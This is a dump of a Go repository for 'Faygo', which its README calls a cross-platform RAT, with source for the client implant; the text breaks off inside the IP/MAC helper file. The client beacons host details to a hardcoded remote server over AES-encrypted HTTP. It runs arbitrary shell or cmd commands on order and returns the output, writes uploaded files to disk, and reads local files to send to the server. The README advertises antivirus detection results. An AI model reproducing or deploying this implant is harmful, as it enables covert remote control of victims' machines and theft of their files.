├── LICENSE ├── README.md ├── client ├── bin │ ├── client │ ├── client.exe │ └── client_drwin ├── client ├── config.go ├── func.go ├── go.mod ├── go.sum ├── jobs.go ├── main.go └── module │ ├── cipher │ └── aescbc.go │ ├── command │ ├── command.go │ ├── commander.go │ ├── linuxcommand.go │ └── windowscommand.go │ ├── file │ └── filedeal.go │ ├── getmac │ └── ipmac.go │ └── net │ └── http.go ├── detection.jpg ├── faygo.gif ├── faygo.m4v └── server ├── config.go ├── database └── initialize.sql ├── func.go ├── go.mod ├── go.sum ├── httpserver └── httpserver.go ├── main.go └── module ├── cipher └── aescbc.go ├── database ├── initialize.sql └── sqltesting │ ├── gormtesting.go │ ├── sqlcon.go │ └── sqlfunc.txt ├── example └── ciphertest.go ├── file └── filedeal.go └── httpserver └── startserver.go /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Maka8ka 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Faygo 2 | 3 | * A RAT Tools on major platforms. 4 | * The traffic data be encryped by aes.use aeskey and aesiv 5 | * The net moudle now use http,it can be replace to other protocol. 6 | ## Now support 7 | * Linux 8 | * Drwin 9 | * Windows 10 | 11 | Now can run command and transfer files. 12 | 13 | ## Example 14 | click the gif for full expample video 15 | [![Watch the video](https://raw.githubusercontent.com/Maka8ka/Faygo/main/faygo.gif)](https://github.com/Maka8ka/Faygo/blob/main/faygo.m4v) 16 | ## Detection 17 | ![detection](https://raw.githubusercontent.com/Maka8ka/Faygo/main/detection.jpg) 18 | 19 | ## My Sapce 20 | [Maka8ka's Garden](https://maka8ka.github.io) 21 | -------------------------------------------------------------------------------- /client/bin/client: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maka8ka/Faygo/439b6b39f779a9bf9497100178962657745e6600/client/bin/client -------------------------------------------------------------------------------- /client/bin/client.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maka8ka/Faygo/439b6b39f779a9bf9497100178962657745e6600/client/bin/client.exe -------------------------------------------------------------------------------- /client/bin/client_drwin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maka8ka/Faygo/439b6b39f779a9bf9497100178962657745e6600/client/bin/client_drwin -------------------------------------------------------------------------------- /client/client: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maka8ka/Faygo/439b6b39f779a9bf9497100178962657745e6600/client/client -------------------------------------------------------------------------------- /client/config.go: -------------------------------------------------------------------------------- 1 | package mainconst ( 2 | AesKey = "xxxxxxxxxxxxxxxx" 3 | RemoteHost = "http: 4 | ) 5 | type Client struct { 6 | Lan string `json:"lan"` 7 | Os string `json:"os"` 8 | Mac string `json:"mac"` 9 | Status int `json:"status"` 10 | Sleep int `json:"sleep"` 11 | Task string `json:"task"` 12 | Result string `json:"result"` 13 | FileHex string `json:"filehex"` 14 | FileLo string `json:"filelo"` 15 | } 16 | -------------------------------------------------------------------------------- /client/func.go: -------------------------------------------------------------------------------- 1 | package mainimport ( 2 | cipher "Faygo/client/module/cipher" 3 | command "Faygo/client/module/command" 4 | getmac "Faygo/client/module/getmac" 5 | "encoding/base64" 6 | "encoding/json" 7 | "fmt" 8 | "log" 9 | )func (c *Client) Runcommand() { 10 | _, out, err := command.NewCommand().Exec(c.Task) 11 | if err != nil { 12 | log.Panic(err) 13 | } 14 | c.Result = out 15 | 16 | 17 | }func AesEnCode(str string) string { 18 | bytestr := []byte(str) 19 | cryptstr, err := cipher.AesCbcEncrypt(bytestr, []byte(AesKey)) 20 | if err != nil { 21 | fmt.Println(err) 22 | return "err" 23 | } 24 | return base64.StdEncoding.EncodeToString(cryptstr) 25 | }func AesDeCode(str string) string { 26 | bytestr, _ := base64.StdEncoding.DecodeString(str) 27 | 28 | decryptstr, err := cipher.AesCbcDecrypt(bytestr, []byte(AesKey)) 29 | if err != nil { 30 | fmt.Println(err) 31 | return "err" 32 | } 33 | return string(decryptstr) 34 | }func Struct2Json(clientstruct interface{}) string { 35 | json, _ := json.Marshal(clientstruct) 36 | return string(json) 37 | } 38 | func (client *Client) Json2Struct(clientjson string) { 39 | jsontmp := string(clientjson) 40 | json.Unmarshal([]byte(jsontmp), client) 41 | }func GetIP() string { 42 | return getmac.GetIPs()[0] 43 | }func GetMac() string { 44 | return getmac.GetMacAddrs()[0] 45 | } 46 | -------------------------------------------------------------------------------- /client/go.mod: -------------------------------------------------------------------------------- 1 | module Faygo/clientgo 1.15require ( 2 | fyne.io/fyne/v2 v2.0.0 3 | golang.org/x/text v0.3.5 4 | ) 5 | -------------------------------------------------------------------------------- /client/go.sum: -------------------------------------------------------------------------------- 1 | fyne.io/fyne v1.4.3 h1:356CnXCiYrrfaLGsB7qLK3c6ktzyh8WR05v/2RBu51I= 2 | fyne.io/fyne/v2 v2.0.0 h1:TfsS3bNq5663BpXsoz1OfzyjcaMqqOf9usI8ZKkw4IE= 3 | fyne.io/fyne/v2 v2.0.0/go.mod h1:FmobqvPpBW+nG1nDyxZWf1SQLED9g/vXIxiIIVjHazY= 4 | github.com/Kodeworks/golang-image-ico v0.0.0-20141118225523-73f0f4cfade9/go.mod h1:7uhhqiBaR4CpN0k9rMjOtjpcfGd6DG2m04zQxKnWQ0I= 5 | github.com/akavel/rsrc v0.8.0/go.mod h1:uLoCtb9J+EyAqh+26kdrTgmzRBFPGOolLWKpdxkKq+c= 6 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 8 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 9 | github.com/fredbi/uri v0.0.0-20181227131451-3dcfdacbaaf3 h1:FDqhDm7pcsLhhWl1QtD8vlzI4mm59llRvNzrFg6/LAA= 10 | github.com/fredbi/uri v0.0.0-20181227131451-3dcfdacbaaf3/go.mod h1:CzM2G82Q9BDUvMTGHnXf/6OExw/Dz2ivDj48nVg7Lg8= 11 | github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4= 12 | github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= 13 | github.com/fyne-io/mobile v0.1.2 h1:0HaXDtOOwyOTn3Umi0uKVCOgJtfX73c6unC4U8i5VZU= 14 | github.com/fyne-io/mobile v0.1.2/go.mod h1:/kOrWrZB6sasLbEy2JIvr4arEzQTXBTZGb3Y96yWbHY= 15 | github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7 h1:SCYMcCJ89LjRGwEa0tRluNRiMjZHalQZrVrvTbPh+qw= 16 | github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= 17 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200625191551-73d3c3675aa3 h1:q521PfSp5/z6/sD9FZZOWj4d1MLmfQW8PkRnI9M6PCE= 18 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200625191551-73d3c3675aa3/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= 19 | github.com/godbus/dbus/v5 v5.0.3 h1:ZqHaoEF7TBzh4jzPmqVhE/5A1z9of6orkAe5uHoAeME= 20 | github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= 21 | github.com/goki/freetype v0.0.0-20181231101311-fa8a33aabaff h1:W71vTCKoxtdXgnm1ECDFkfQnpdqAO00zzGXLA5yaEX8= 22 | github.com/goki/freetype v0.0.0-20181231101311-fa8a33aabaff/go.mod h1:wfqRWLHRBsRgkp5dmbG56SA0DmVtwrF5N3oPdI8t+Aw= 23 | github.com/jackmordaunt/icns v0.0.0-20181231085925-4f16af745526/go.mod h1:UQkeMHVoNcyXYq9otUupF7/h/2tmHlhrS2zw7ZVvUqc= 24 | github.com/josephspurrier/goversioninfo v0.0.0-20200309025242-14b0ab84c6ca/go.mod h1:eJTEwMjXb7kZ633hO3Ln9mBUCOjX2+FlTljvpl9SYdE= 25 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 26 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 27 | github.com/lucor/goinfo v0.0.0-20200401173949-526b5363a13a/go.mod h1:ORP3/rB5IsulLEBwQZCJyyV6niqmI7P4EWSmkug+1Ng= 28 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8= 29 | github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= 30 | github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 31 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 32 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 33 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 34 | github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= 35 | github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= 36 | github.com/srwiley/oksvg v0.0.0-20200311192757-870daf9aa564 h1:HunZiaEKNGVdhTRQOVpMmj5MQnGnv+e8uZNu3xFLgyM= 37 | github.com/srwiley/oksvg v0.0.0-20200311192757-870daf9aa564/go.mod h1:afMbS0qvv1m5tfENCwnOdZGOF8RGR/FsZ7bvBxQGZG4= 38 | github.com/srwiley/rasterx v0.0.0-20200120212402-85cb7272f5e9 h1:m59mIOBO4kfcNCEzJNy71UkeF4XIx2EVmL9KLwDQdmM= 39 | github.com/srwiley/rasterx v0.0.0-20200120212402-85cb7272f5e9/go.mod h1:mvWM0+15UqyrFKqdRjY6LuAVJR0HOVhJlEgZ5JWtSWU= 40 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 41 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 42 | github.com/stretchr/testify v1.5.1 h1:nOGnQDM7FYENwehXlg/kFVnos3rEvtKTjRvOWSzb6H4= 43 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= 44 | github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= 45 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 46 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 47 | golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= 48 | golang.org/x/image v0.0.0-20200430140353-33d19683fad8 h1:6WW6V3x1P/jokJBpRQYUJnMHRP6isStQwCozxnU7XQw= 49 | golang.org/x/image v0.0.0-20200430140353-33d19683fad8/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= 50 | golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 51 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 52 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 53 | golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 54 | golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e h1:3G+cUijn7XD+S4eJFddp53Pv7+slrESplyjG25HgL+k= 55 | golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 56 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 57 | golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 58 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 59 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 60 | golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 61 | golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 62 | golang.org/x/sys v0.0.0-20200720211630-cb9d2d5c5666 h1:gVCS+QOncANNPlmlO1AhlU3oxs4V9z+gTtPwIk3p2N8= 63 | golang.org/x/sys v0.0.0-20200720211630-cb9d2d5c5666/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 64 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 65 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 66 | golang.org/x/text v0.3.5 h1:i6eZZ+zk0SOf0xgBpEpPD18qWcJda6q1sxt3S0kzyUQ= 67 | golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 68 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 69 | golang.org/x/tools v0.0.0-20190808195139-e713427fea3f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 70 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 71 | golang.org/x/tools v0.0.0-20200328031815-3db5fc6bac03/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= 72 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 73 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 74 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 75 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 76 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 77 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 78 | gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10= 79 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 80 | -------------------------------------------------------------------------------- /client/jobs.go: -------------------------------------------------------------------------------- 1 | package main 2 | -------------------------------------------------------------------------------- /client/main.go: -------------------------------------------------------------------------------- 1 | package mainimport ( 2 | "Faygo/client/module/file" 3 | net "Faygo/client/module/net" 4 | "fmt" 5 | "os" 6 | "runtime" 7 | "time" 8 | )func main() { 9 | 10 | c1 := Client{ 11 | Mac: GetMac(), 12 | Lan: GetIP(), 13 | Os: runtime.GOOS, 14 | } 15 | 16 | ok := GetServer() 17 | if !ok { 18 | os.Exit(0) 19 | } else { for { 20 | 21 | response := c1.GetStatus() 22 | 23 | dealtask := Client{} 24 | dealtask.Json2Struct(response) 25 | switch dealtask.Status { 26 | 27 | case 0: 28 | c1.InitClient() 29 | 30 | case 1: 31 | sleep := dealtask.Sleep 32 | c1 = Client{Mac: dealtask.Mac, Status: dealtask.Status, Task: "", Result: ""} 33 | 34 | time.Sleep(time.Duration(sleep) * time.Second) 35 | case 2: 36 | 37 | 38 | 39 | c1.Status = dealtask.Status 40 | c1.Task = dealtask.Task 41 | c1.Runcommand() 42 | fmt.Println(c1) 43 | GetTask(c1) 44 | 45 | case 3: 46 | c1.Status = dealtask.Status 47 | c1.FileLo = dealtask.FileLo 48 | c1.FileHex = dealtask.FileHex 49 | c1.FileHex = file.HexToFile(dealtask.FileHex, dealtask.FileLo) 50 | GetTask(c1) 51 | 52 | case 4: 53 | c1.Status = dealtask.Status 54 | c1.FileLo = dealtask.FileLo 55 | c1.FileHex = file.FileToHex(dealtask.FileLo) 56 | 57 | GetTask(c1) 58 | time.Sleep(time.Duration(dealtask.Sleep) * time.Second) 59 | 60 | case 5: 61 | os.Exit(0) 62 | default: 63 | fmt.Println("error3") 64 | } } }} 65 | func GetServer() bool { 66 | 67 | 68 | 69 | return net.HttpGet(RemoteHost) == "200 OK" 70 | }func (c *Client) GetStatus() string { 71 | 72 | 73 | return AesDeCode(net.HttpPost(RemoteHost, AesEnCode(Struct2Json(*c))))}func GetTask(c Client) { 74 | 75 | net.HttpPost(RemoteHost, AesEnCode(Struct2Json(c)))}func (c *Client) InitClient() string { 76 | c.Status = 1 77 | return AesDeCode(net.HttpPost(RemoteHost, AesEnCode(Struct2Json(*c))))} 78 | -------------------------------------------------------------------------------- /client/module/cipher/aescbc.go: -------------------------------------------------------------------------------- 1 | package cipherimport ( 2 | "bytes" 3 | "crypto/aes" 4 | "crypto/cipher" 5 | "log" 6 | "runtime" 7 | )const ( 8 | ivaes = "xxxxxxxxxxxxxxxx" 9 | 10 | )/* 11 | eencrypt 12 | Note: the key length is 16 bytes 13 | */func PKCS5Padding(plainText []byte, blockSize int) []byte { 14 | padding := blockSize - (len(plainText) % blockSize) 15 | padText := bytes.Repeat([]byte{byte(padding)}, padding) 16 | newText := append(plainText, padText...) 17 | return newText 18 | }func PKCS5UnPadding(plainText []byte) ([]byte, error) { 19 | length := len(plainText) 20 | number := int(plainText[length-1]) 21 | if number > length { 22 | return nil, nil 23 | } 24 | return plainText[:length-number], nil 25 | }func init() { 26 | log.SetFlags(log.Ldate | log.Lshortfile) 27 | } 28 | func AesCbcEncrypt(plainText, key []byte, ivAes ...byte) ([]byte, error) { 29 | if len(key) != 16 && len(key) != 24 && len(key) != 32 { 30 | return nil, nil 31 | } 32 | block, err := aes.NewCipher(key) 33 | if err != nil { 34 | return nil, err 35 | } 36 | paddingText := PKCS5Padding(plainText, block.BlockSize()) var iv []byte 37 | if len(ivAes) != 0 { 38 | if len(ivAes) != 16 { 39 | return nil, nil 40 | } else { 41 | iv = ivAes 42 | } 43 | } else { 44 | iv = []byte(ivaes) 45 | } 46 | blockMode := cipher.NewCBCEncrypter(block, iv) 47 | cipherText := make([]byte, len(paddingText)) 48 | blockMode.CryptBlocks(cipherText, paddingText) 49 | return cipherText, nil 50 | } 51 | func AesCbcDecrypt(cipherText, key []byte, ivAes ...byte) ([]byte, error) { 52 | if len(key) != 16 && len(key) != 24 && len(key) != 32 { 53 | return nil, nil 54 | } 55 | block, err := aes.NewCipher(key) 56 | if err != nil { 57 | return nil, err 58 | } defer func() { 59 | if err := recover(); err != nil { 60 | switch err.(type) { 61 | case runtime.Error: 62 | log.Println("runtime err:", err, "Check that the key or text is correct") 63 | default: 64 | log.Println("error:", err) 65 | } 66 | } 67 | }() 68 | var iv []byte 69 | if len(ivAes) != 0 { 70 | if len(ivAes) != 16 { 71 | return nil, nil 72 | } else { 73 | iv = ivAes 74 | } 75 | } else { 76 | iv = []byte(ivaes) 77 | } 78 | blockMode := cipher.NewCBCDecrypter(block, iv) 79 | paddingText := make([]byte, len(cipherText)) 80 | blockMode.CryptBlocks(paddingText, cipherText) plainText, err := PKCS5UnPadding(paddingText) 81 | if err != nil { 82 | return nil, err 83 | } 84 | return plainText, nil 85 | } 86 | -------------------------------------------------------------------------------- /client/module/command/command.go: -------------------------------------------------------------------------------- 1 | package commandimport ( 2 | "runtime" 3 | ) 4 | func NewCommand() Commander { 5 | var cmd Commander switch runtime.GOOS { 6 | case "linux": 7 | cmd = NewLinuxCommand() 8 | case "windows": 9 | cmd = NewWindowsCommand() 10 | default: 11 | cmd = NewLinuxCommand() 12 | } return cmd 13 | } 14 | -------------------------------------------------------------------------------- /client/module/command/commander.go: -------------------------------------------------------------------------------- 1 | package commandimport "golang.org/x/text/encoding/simplifiedchinese"type Charset stringconst ( 2 | UTF8 = Charset("UTF-8") 3 | GB18030 = Charset("GB18030") 4 | ) 5 | type Commander interface { 6 | 7 | 8 | 9 | Exec(args ...string) (int, string, error) 10 | 11 | 12 | 13 | 14 | ExecAsync(stdout chan string, args ...string) int 15 | 16 | 17 | ExecIgnoreResult(args ...string) error 18 | }func ConvertByte2String(byte []byte, charset Charset) string { 19 | var str string 20 | switch charset { 21 | case GB18030: 22 | var decodeBytes, _ = simplifiedchinese.GB18030.NewDecoder().Bytes(byte) 23 | str = string(decodeBytes) 24 | case UTF8: 25 | fallthrough 26 | default: 27 | str = string(byte) 28 | } 29 | return str 30 | } 31 | -------------------------------------------------------------------------------- /client/module/command/linuxcommand.go: -------------------------------------------------------------------------------- 1 | package commandimport ( 2 | "io/ioutil" 3 | "os" 4 | "os/exec" 5 | "syscall" 6 | ) 7 | type LinuxCommand struct { 8 | } 9 | func NewLinuxCommand() *LinuxCommand { 10 | return &LinuxCommand{} 11 | } 12 | func (lc *LinuxCommand) Exec(args ...string) (int, string, error) { 13 | args = append([]string{"-c"}, args...) 14 | cmd := exec.Command(os.Getenv("SHELL"), args...) cmd.SysProcAttr = &syscall.SysProcAttr{} outpip, err := cmd.StdoutPipe() 15 | defer outpip.Close() if err != nil { 16 | return 0, "", err 17 | } err = cmd.Start() 18 | if err != nil { 19 | return 0, "", err 20 | } out, err := ioutil.ReadAll(outpip) 21 | if err != nil { 22 | return 0, "", err 23 | } return cmd.Process.Pid, string(out), nil 24 | } 25 | func (lc *LinuxCommand) ExecAsync(stdout chan string, args ...string) int { 26 | var pidChan = make(chan int, 1) go func() { 27 | args = append([]string{"-c"}, args...) 28 | cmd := exec.Command(os.Getenv("SHELL"), args...) cmd.SysProcAttr = &syscall.SysProcAttr{} outpip, err := cmd.StdoutPipe() 29 | defer outpip.Close() if err != nil { 30 | panic(err) 31 | } err = cmd.Start() 32 | if err != nil { 33 | panic(err) 34 | } pidChan <- cmd.Process.Pid out, err := ioutil.ReadAll(outpip) 35 | if err != nil { 36 | panic(err) 37 | } stdout <- string(out) 38 | }() return <-pidChan 39 | } 40 | func (lc *LinuxCommand) ExecIgnoreResult(args ...string) error { args = append([]string{"-c"}, args...) 41 | cmd := exec.Command(os.Getenv("SHELL"), args...) cmd.Stdout = os.Stdout 42 | cmd.Stderr = os.Stderr 43 | cmd.SysProcAttr = &syscall.SysProcAttr{} err := cmd.Run() return err 44 | } 45 | -------------------------------------------------------------------------------- /client/module/command/windowscommand.go: -------------------------------------------------------------------------------- 1 | package commandimport ( 2 | "io/ioutil" 3 | "os" 4 | "os/exec" 5 | "syscall" 6 | ) 7 | type WindowsCommand struct { 8 | } 9 | func NewWindowsCommand() *WindowsCommand { 10 | return &WindowsCommand{} 11 | } 12 | func (lc *WindowsCommand) Exec(args ...string) (int, string, error) { 13 | args = append([]string{"/c"}, args...) 14 | cmd := exec.Command("cmd", args...) cmd.SysProcAttr = &syscall.SysProcAttr{} outpip, err := cmd.StdoutPipe() 15 | defer outpip.Close() if err != nil { 16 | return 0, "", err 17 | } err = cmd.Start() 18 | if err != nil { 19 | return 0, "", err 20 | } out, err := ioutil.ReadAll(outpip) 21 | if err != nil { 22 | return 0, "", err 23 | } 24 | cmdout := ConvertByte2String(out, "GB18030") 25 | return cmd.Process.Pid, string(cmdout), nil 26 | } 27 | func (lc *WindowsCommand) ExecAsync(stdout chan string, args ...string) int { 28 | var pidChan = make(chan int, 1) go func() { 29 | args = append([]string{"/c"}, args...) 30 | cmd := exec.Command("cmd", args...) cmd.SysProcAttr = &syscall.SysProcAttr{} outpip, err := cmd.StdoutPipe() 31 | defer outpip.Close() if err != nil { 32 | panic(err) 33 | } err = cmd.Start() 34 | if err != nil { 35 | panic(err) 36 | } pidChan <- cmd.Process.Pid out, err := ioutil.ReadAll(outpip) 37 | if err != nil { 38 | panic(err) 39 | } stdout <- string(out) 40 | }() return <-pidChan 41 | } 42 | func (lc *WindowsCommand) ExecIgnoreResult(args ...string) error { 43 | args = append([]string{"/c"}, args...) 44 | cmd := exec.Command("cmd", args...) cmd.Stdout = os.Stdout 45 | cmd.Stderr = os.Stderr 46 | cmd.SysProcAttr = &syscall.SysProcAttr{} err := cmd.Run() return err 47 | } 48 | -------------------------------------------------------------------------------- /client/module/file/filedeal.go: -------------------------------------------------------------------------------- 1 | package fileimport ( 2 | "encoding/base64" 3 | "fmt" 4 | "io" 5 | "os" 6 | )func FileToHex(filelo string) string { 7 | f, err := os.Open(filelo) 8 | if err != nil { 9 | fmt.Println(err) 10 | } 11 | defer f.Close() chunks := make([]byte, 0) 12 | buf := make([]byte, 1024) 13 | for { 14 | n, err := f.Read(buf) 15 | if err != nil && err != io.EOF { 16 | fmt.Println(err) 17 | } 18 | if 0 == n { 19 | break 20 | } 21 | chunks = append(chunks, buf[:n]...) 22 | } 23 | 24 | return base64.StdEncoding.EncodeToString(chunks) 25 | }func CheckFileIsExist(filename string) bool { 26 | if _, err := os.Stat(filename); os.IsNotExist(err) { 27 | return false 28 | } 29 | return true 30 | }func HexToFile(fileencode string, filelo string) string { 31 | filebyte, err := base64.StdEncoding.DecodeString(fileencode) 32 | if err != nil { 33 | fmt.Println(err) 34 | } 35 | f, err := os.OpenFile(filelo, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0666) 36 | if err != nil { 37 | fmt.Println(err) 38 | } 39 | defer f.Close() 40 | f.Write(filebyte) 41 | return "文件写入成功"} 42 | -------------------------------------------------------------------------------- /client/module/getmac/ipmac.go: -------------------------------------------------------------------------------- 1 | package getmacimport ( 2 | "fmt" 3 | "net" 4 | )func GetMacAddrs() (macAddrs []string) { 5 | netInterfaces, err := net.Interfaces() 6 | if err != nil { 7 | fmt.Printf("fail to get net interfaces: %v", err) 8 | return macAddrs 9 | } for _, netInterface := range netInterfaces { 10 | macAddr := netInterface.HardwareAddr.String() 11 | if len(macAddr) == 0 { 12 | continue 13 | } macAddrs = append(macAddrs, macAddr) 14 | } 15 | return macAddrs 16 | }func GetIPs() (ips []string) { interfaceAddr, err := net.InterfaceAddrs() 17 | if err != nil { 18 | fmt.Printf("fail to get net interface addrs: %v", err) 19 | return ips 20 | } for _, address := range interfaceAddr { 21 | ipNet, isValidIpNet := address.(*net.IPNet) 22 | if 